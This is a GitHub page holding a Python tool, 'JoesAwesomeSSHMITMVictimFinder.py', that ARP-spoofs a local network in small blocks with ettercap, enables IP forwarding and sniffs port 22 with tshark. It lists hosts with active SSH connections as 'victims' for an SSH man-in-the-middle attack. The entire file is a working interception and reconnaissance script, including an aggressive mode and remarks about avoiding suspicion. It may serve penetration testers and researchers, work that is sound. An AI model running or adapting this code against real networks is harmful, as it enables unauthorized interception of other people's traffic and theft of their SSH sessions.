-
Notifications
You must be signed in to change notification settings - Fork 199
/
JoesAwesomeSSHMITMVictimFinder.py
executable file
·659 lines (528 loc) · 22.5 KB
/
JoesAwesomeSSHMITMVictimFinder.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
#!/usr/bin/python3
#
# JoesAwesomeSSHMITMVictimFinder.py
# Copyright (C) 2017-2018 Joe Testa <jtesta@positronsecurity.com>
#
# This program is free software: you can redistribute it and/or modify
# it under the terms version 3 of the GNU General Public License as
# published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#
#
# Version: 1.0
# Date: June 28, 2017
#
#
# This tool ARP spoofs the LAN in small chunks and looks for existing SSH
# connections. This makes finding victims for SSH man-in-the-middling very
# easy (see https://github.com/jtesta/ssh-mitm).
#
# Install prerequisites with:
# apt install nmap ettercap-text-only tshark python3-netaddr python3-netifaces
#
# Built-in modules.
import argparse, importlib, ipaddress, os, signal, subprocess, sys, tempfile, threading
from time import sleep
# Python3 is required.
if sys.version_info.major < 3:
print('Error: Python3 is required. Re-run using python3 interpreter.')
exit(-1)
# Check if the netaddr and netifaces modules can be imported. Otherwise, print
# a useful message to the user with how to install them.
old_netifaces = False
try:
import netaddr, netifaces
# Check if we're using an old version of netifaces (used in Ubuntu 14 and
# Linux Mint 17). If so, the user will need to specify the gateway
# manually.
if (netifaces.version.startswith('0.8')):
old_netifaces = True
except ImportError as e:
print("The Python3 netaddr and/or netifaces module is not installed. Fix with: apt install python3-netaddr python3-netifaces")
exit(-1)
ettercap_proc = None
tshark_proc = None
forwarding_was_off = None
menu_thread = None
main_thread_continue = True
aggressive_mode = False
verbose = False
debug = False
# The overall findings, printed upon program termination.
total_local_clients = []
total_local_servers = []
# Debug logging.
def d(msg):
if debug:
print(msg, flush=True)
# Verbose logging.
def v(msg):
if verbose:
print(msg, flush=True)
# Always print.
def p(msg=''):
print(msg, flush=True)
# Captures control-C interruptions and gracefully terminates tshark and
# ettercap.
def signal_handler(signum, frame):
global ettercap_proc, tshark_proc, forwarding_was_off, menu_thread
d('Signal handler called.')
p("\nShutting down ettercap and tshark gracefully. Please wait...")
if menu_thread is not None:
menu_thread.stop()
# tshark can just be terminated.
if tshark_proc is not None:
d('Sending tshark SIGTERM...')
tshark_proc.terminate()
# ettercap, however, needs to be shut down gracefully so it can re-ARP
# victims.
if ettercap_proc is not None:
d('Telling ettercap to shut down gracefully...')
try:
ettercap_proc.communicate("q\n".encode('ascii'))
except ValueError as e:
# It is possible that the main thread already called communicate(),
# to terminate the process, so calling it again causes an exception.
# In this case, just wait for it to terminate.
pass
# Wait up to 20 seconds for tshark to terminate, then print its return code
# to the debug log.
if tshark_proc is not None:
try:
retcode = tshark_proc.wait(20)
tshark_proc = None
d('tshark terminated with return code %d' % retcode)
except subprocess.TimeoutExpired as e:
p('WARNING: tshark did not terminate after 20 seconds! Sending SIGKILL...')
pass
# tshark survived more than 20 seconds after a SIGTERM, so now send it
# SIGKILL and wait up to 10 more seconds.
if tshark_proc is not None:
try:
tshark_proc.kill()
retcode = tshark_proc.wait(10)
tshark_proc = None
d('After SIGKILL, tshark terminated with return code %d' % retcode)
except subprocess.TimeoutExpired as e:
p('ERROR: tshark did not terminate after 10 seconds, even with SIGKILL. Try manually killing it (process ID %d).' % tshark_proc.pid)
pass
# Wait up to 20 seconds for ettercap to quit after telling it to.
if ettercap_proc is not None:
try:
retcode = ettercap_proc.wait(20)
ettercap_proc = None
d('ettercap terminated with return code %d' % retcode)
except subprocess.TimeoutExpired as e:
pass
# ettercap survived more than 20 seconds after a SIGTERM, so now send it
# SIGKILL and wait up to 10 more seconds.
if ettercap_proc is not None:
d('WARNING: ettercap did not exit gracefully after requesting it to quit. Now sending it SIGKILL...')
ettercap_proc.kill()
try:
retcode = ettercap_proc.wait(10)
ettercap_proc = None
d('ettercap terminated with return code %d' % retcode)
except subprocess.TimeoutExpired as e:
p('ERROR: ettercap did not terminate after 10 seconds, even with SIGKILL. Try manually killing it (process ID %d).' % ettercap_proc.pid)
pass
# If IP forwarding was off before this script was launched, disable it
# before terminating.
if forwarding_was_off is True:
v('IP forwarding was off before. Disabling it now...')
enable_ip_forwarding(False)
# Print all the IPs found.
print_discovered()
if menu_thread is not None:
d("Waiting for menu thread to terminate...")
menu_thread.join()
exit(0)
def print_discovered():
p()
if len(total_local_clients) > 0:
p("\nTotal local clients:")
for tup in total_local_clients:
p(' * %s -> %s:22' % (tup[0], tup[1]))
p()
else:
p('No local clients found. :(')
if len(total_local_servers) > 0:
p("\nTotal local servers:")
for tup in total_local_servers:
p(' * %s -> %s:22' % (tup[1], tup[0]))
p()
# This is the thread that reads user input while the program is running.
class MenuHandler(threading.Thread):
def __init__(self):
threading.Thread.__init__(self, name="MenuHandler")
self.stop_requested = False
def run(self):
global debug, verbose, aggressive_mode, total_local_clients, total_local_servers, main_thread_continue
while not self.stop_requested:
try:
c = input()[0:1].lower()
except ValueError as e:
self.stop_requested = True
continue
if c == 'h':
print_menu()
elif c == 'a': # Toggle aggressive mode.
if aggressive_mode is False:
aggressive_mode = True
p('Enabled aggressive mode')
else:
aggressive_mode = False
p('Disabled aggressive mode')
elif c == 'q': # Graceful quit.
self.stop()
main_thread_continue = False # Tell main thread to quit.
p("\nQuitting after current block is complete. Please wait...")
elif c == 'd': # Toggle debugging mode.
if debug is False:
debug = True
verbose = True
p("Enabled debugging mode.")
else:
debug = False
verbose = False
p("\nDisabled debugging mode.")
elif c == 'v': # Toggle verbose mode.
debug = False
if verbose is False:
verbose = True
p("Enabled verbose mode.")
else:
p("\nDisabled verbose mode.")
elif c == 'p': # Print status.
print_discovered()
d("Menu thread exiting.")
def stop(self):
self.stop_requested = True
# Ensure that nmap, ettercap, and tshark are all installed, and we are running
# as root. Terminates otherwise.
def check_prereqs():
missing_progs = []
if not find_prog(['nmap', '-V']):
missing_progs.append('nmap')
if not find_prog(['ettercap', '-v']):
missing_progs.append('ettercap-text-only')
if not find_prog(['tshark', '-v']):
missing_progs.append('tshark')
if len(missing_progs) > 0:
missing_progs_str = ' '.join(missing_progs)
p("Error: the following pre-requisite programs are missing: %s\n\nInstall them with: apt install %s" % (missing_progs_str, missing_progs_str))
exit(-1)
# We must be running as root for ettercap to work.
if os.geteuid() != 0:
p("Error: you must run this script as root.")
exit(-1)
# Check if there are existing PREROUTING NAT rules enabled, and warn the
# user of potential side-effects.
try:
hProc = subprocess.Popen(['iptables', '-t', 'nat', '-nL', 'PREROUTING'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.DEVNULL)
so, se = hProc.communicate()
prerouting_output = so.decode('ascii')
# Output with no rules has two lines.
if prerouting_output.count("\n") > 2:
p("\nWARNING: it appears that you have entries in your PREROUTING NAT table. Searching for SSH connections on the LAN with this script while PREROUTING rules are enabled may have unintended side-effects. The output of 'iptables -t nat -nL PREROUTING' is:\n\n%s\n\n" % prerouting_output)
except FileNotFoundError as e:
p('Warning: failed to run iptables. Continuing...')
pass
# Returns True if a program is installed on the system, otherwise False.
def find_prog(prog_args):
prog_found = False
try:
hProc = subprocess.Popen(prog_args, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.DEVNULL)
s, e = hProc.communicate()
prog_found = True
except FileNotFoundError as e:
pass
return prog_found
# Returns True if IP forwarding is enabled, otherwise False.
def get_ip_forward_settings():
ipv4_setting = None
with open('/proc/sys/net/ipv4/ip_forward', 'r') as f:
ipv4_setting = f.read().strip()
return ipv4_setting.strip() == '1'
# Enables or disables IP forwarding. If it was disabled prior to calling this
# function, returns True (helpful for knowing if it needs to be turned back off
# later).
def enable_ip_forwarding(flag):
old_ipv4_setting = get_ip_forward_settings()
if flag and not old_ipv4_setting:
with open('/proc/sys/net/ipv4/ip_forward', 'w') as f:
f.write('1')
if not flag and old_ipv4_setting:
with open('/proc/sys/net/ipv4/ip_forward', 'w') as f:
f.write('0')
# Enable or disable forwarding in the firewall, as appropriate.
if flag:
subprocess.call("iptables -P FORWARD ACCEPT", shell=True)
else:
subprocess.call("iptables -P FORWARD DROP", shell=True)
current_ipv4_setting = get_ip_forward_settings()
if current_ipv4_setting != flag:
raise RuntimeError('Failed to set IP forwarding setting!: %r %r' % (current_ipv4_setting, flag))
return old_ipv4_setting == False
# Runs nmap to get the devices on the LAN that are alive (using ARP pings).
def get_lan_devices(network, gateway, ignore_list):
ret = []
fd, temp = tempfile.mkstemp()
os.close(fd)
hNmap = subprocess.Popen(['nmap', '-n', '-oG=%s' % temp, '-sn', '-PR', network], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, stdin=subprocess.DEVNULL)
try:
hNmap.wait(30)
except subprocess.TimeoutExpired as e:
p('Nmap ARP ping took longer than 30 seconds. Terminating...')
exit(-1)
nmap_output = ''
with open(temp, 'r') as f:
nmap_output = f.readlines()
# Delete nmap's output file.
if os.path.exists(temp):
os.remove(temp)
for line in nmap_output:
tokens = line.split()
if tokens[0] == 'Host:':
ret.append(tokens[1])
# Remove the gateway from the list of live devices.
if gateway in ret:
ret.remove(gateway)
# Remove the entries of the ignore_list from the list of live devices.
for ip in ignore_list:
if ip in ret:
ret.remove(ip)
return ret
def print_menu():
p('Interactive menu keys:')
p()
p(" [a] toggle aggressive mode (spoofs all destination devices, not just\n gateway)")
p(" [d] toggle debugging mode (highest verbosity)")
p(" [v] toggle verbose mode (moderate verbosity)")
p(" [p] print status")
p()
p(" [h] prints this menu")
p(" [q] quits program gracefully")
p()
# Splits a list of devices into blocks of size "block_size".
def blocketize_devices(devices, block_size):
device_blocks = []
device_block = []
i = 0
for device in devices:
device_block.append(device)
i += 1
if (i >= block_size) or (devices.index(device) == (len(devices) - 1)) :
i = 0
device_blocks.append(device_block)
device_block = []
return device_blocks
def arp_spoof_and_monitor(interface, local_addresses, gateway, device_block, listen_time):
global ettercap_proc, tshark_proc
# Run tshark with an SSH filter.
tshark_args = ['tshark', '-i', interface, '-T', 'fields', '-e', 'ip.src', '-e', 'ip.dst', '-e', 'tcp.port']
# Exclude packets to or from the local machine.
if len(local_addresses) > 0:
tshark_args.extend(['-f', 'port 22 and not(host %s)' % ' or host '.join(local_addresses)])
else:
tshark_args.extend(['-f', 'port 22'])
d('Running tshark: %s' % ' '.join(tshark_args))
tshark_proc = subprocess.Popen(tshark_args, stdout=subprocess.PIPE, stderr=subprocess.DEVNULL, stdin=subprocess.DEVNULL)
# By default, the first target group is the gateway. This means only
# connections going outside the LAN will be discovered. If aggressive
# mode is enabled, then all local and remote connections will be
# found.
target1 = gateway
if aggressive_mode:
target1 = ''
# ARP spoof the block of devices and gateway.
ettercap_args = ['ettercap', '-i', interface, '-T', '-M', 'arp', '/%s//' % target1, '/%s//' % ','.join(device_block)]
d('Running ettercap: %s' % ' '.join(ettercap_args))
ettercap_proc = subprocess.Popen(ettercap_args, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
# Sleep for the specified number of seconds while tshark gathers info.
d('Sleeping for %d seconds...' % listen_time)
sleep(listen_time)
# Stop tshark.
tshark_proc.terminate()
# Send 'q' and a newline to tell ettercap to quit gracefully.
so, se = ettercap_proc.communicate("q\n".encode('ascii'))
# Get the output from the terminated tshark process.
so, se = tshark_proc.communicate()
lines = so.decode('ascii').split("\n")
local_clients = []
local_servers = []
# Each line is in the following format:
# 10.x.x.x\t174.x.x.x\t38564,22
for line in lines:
if line == '':
continue
fields = line.split("\t")
ip1 = fields[0]
ip2 = fields[1]
ports = fields[2].split(',')
port1 = ports[0]
port2 = ports[1]
local_client = None
local_server = None
remote_client = None
remote_server = None
if (ip1 in device_block) and (port2 == '22'):
local_client = ip1
remote_server = ip2
elif (ip2 in device_block) and (port1 == '22'):
local_client = ip2
remote_server = ip1
elif (ip1 in device_block) and (port1 == '22'):
local_server = ip1
remote_client = ip2
elif (ip2 in device_block) and (port2 == '22'):
local_server = ip2
remote_client = ip1
else:
p('Strange tshark output found: [%s]' % line)
p("\tdevice block: [%s]" % ",".join(device_block))
continue
# Look for outgoing connections.
if (local_client is not None) and (remote_server is not None):
tup = (local_client, remote_server)
if tup not in local_clients:
local_clients.append(tup)
# Look for incoming connections (implying a server is running on the
# LAN).
elif (local_server is not None) and (remote_client is not None):
tup = (local_server, remote_client)
if tup not in local_servers:
local_servers.append(tup)
if len(local_clients) == 0 and len(local_servers) == 0:
v('No SSH connections found.')
if len(local_clients) > 0:
p("\nLocal clients:")
for tup in local_clients:
p(' * %s -> %s:22' % (tup[0], tup[1]))
p()
total_local_clients.extend(x for x in local_clients if x not in total_local_clients)
if len(local_servers) > 0:
p("\nLocal servers:")
for tup in local_servers:
p(' * %s -> %s:22' % (tup[1], tup[0]))
p()
total_local_servers.extend(x for x in local_servers if x not in total_local_servers)
if __name__ == '__main__':
check_prereqs()
parser = argparse.ArgumentParser()
required = parser.add_argument_group('required arguments')
required.add_argument('--interface', help='the network interface to listen on', required=True)
parser.add_argument('--block-size', help='the number of IPs to ARP spoof at a time (default: 5)', default=5)
parser.add_argument('--listen-time', help='the number of seconds to listen for SSH activity (default: 20)', default=20)
parser.add_argument('--ignore-ips', help='the IPs to ignore. Can be space or comma-delimited', nargs='+', default=[])
parser.add_argument('--one-pass', help='perform one pass of the network only, instead of looping', action='store_true')
parser.add_argument('-v', '--verbose', help='enable verbose messages', action='store_true')
parser.add_argument('-d', '--debug', help='enable debugging messages', action='store_true')
# If we loaded an old netifaces module, the user must specify the gateway
# manually.
if old_netifaces:
required.add_argument('--gateway', help='the network gateway', required=True)
args = vars(parser.parse_args())
# The network interface to use.
interface = args['interface']
# A list of IPs to ignore.
ignore_list = args['ignore_ips']
# If the user specified the ignore list as "--ignore-ips 1.1.1.1,2.2.2.2",
# parse them out into a list.
if len(ignore_list) == 1:
ips = ignore_list[0]
if ips.find(',') != -1:
ignore_list = ips.split(',')
# Ensure IPs are in a valid form.
for ip in ignore_list:
try:
ipaddress.ip_address(ip)
except ValueError as e:
p('Error: %s is not a valid IP address.' % ip)
exit(-1)
# Parse the interface arg.
addresses = None
try:
addresses = netifaces.ifaddresses(interface)
except ValueError as e:
p('Error parsing interface: %s' % str(e))
exit(-1)
# Add our address(es) to the ignore list.
local_addresses = []
if netifaces.AF_INET in addresses:
for net_info in addresses[netifaces.AF_INET]:
address = net_info['addr']
p("Found local address %s and adding to ignore list." % address)
local_addresses.append(address)
ignore_list.append(address)
if len(local_addresses) == 0:
p("Error: failed to get the IP address for interface %s" % interface)
exit(-1)
# Get the CIDR format of our network.
net_info = addresses[netifaces.AF_INET][0]
net_cidr = str(netaddr.IPNetwork('%s/%s' % (net_info['addr'], net_info['netmask'])))
p("Using network CIDR %s." % net_cidr)
# Get the default gateway.
if old_netifaces:
gateway = args['gateway']
else:
gateway = netifaces.gateways()['default'][netifaces.AF_INET][0]
p("Found default gateway: %s" % gateway)
# The number of IPs in the LAN to ARP spoof at a time. This should be a
# relatively low number, as spoofing too many clients at a time can cause
# noticeable slowdowns.
block_size = int(args['block_size'])
# The number of seconds to sniff a MITMed block of clients before moving on
# to the next block.
listen_time = int(args['listen_time'])
# If True, only one pass is done over the clients in the network.
# Otherwise, it will loop indefinitely.
one_pass = args['one_pass']
# Flags to control verbose and debug outputs.
verbose = args['verbose']
debug = args['debug']
p('IP blocks of size %d will be spoofed for %d seconds each.' % (block_size, listen_time))
if len(ignore_list) > 0:
p('The following IPs will be skipped: %s' % ' '.join(ignore_list))
if one_pass:
p('The network will be scanned in only one pass.')
p("\n")
# If the user raised the block size to 10 or greater, warn them about the
# potential consequences.
if block_size >= 10:
p("WARNING: setting the block size too high will cause strain on your network interface. Eventually, your interface will start dropping frames, causing a network denial-of-service and greatly raising suspicion. However, raising the block size is safe on low-utilization networks. You better know what you're doing!\n")
print_menu()
menu_thread = MenuHandler()
menu_thread.start()
# Enable the signal handlers so that ettercap and tshark gracefully shut
# down on CTRL-C.
signal.signal(signal.SIGINT, signal_handler)
signal.signal(signal.SIGTERM, signal_handler)
forwarding_was_off = enable_ip_forwarding(True)
while main_thread_continue:
v('Discovering devices on LAN via ARP ping...')
devices = get_lan_devices(net_cidr, gateway, ignore_list)
d('%d devices discovered: %s' % (len(devices), ", ".join(devices)))
# Arrange the devices into groups of size "block_size".
device_blocks = blocketize_devices(devices, block_size)
# ARP spoof and monitor each block.
for device_block in device_blocks:
arp_spoof_and_monitor(interface, local_addresses, gateway, device_block, listen_time)
# If we are only supposed to do one pass, then stop now.
if one_pass:
break
menu_thread.stop()
menu_thread.join()
# If IP forwarding was off before we started, turn it off now.
if forwarding_was_off:
enable_ip_forwarding(False)
if one_pass:
p('Single pass complete.')
exit(0)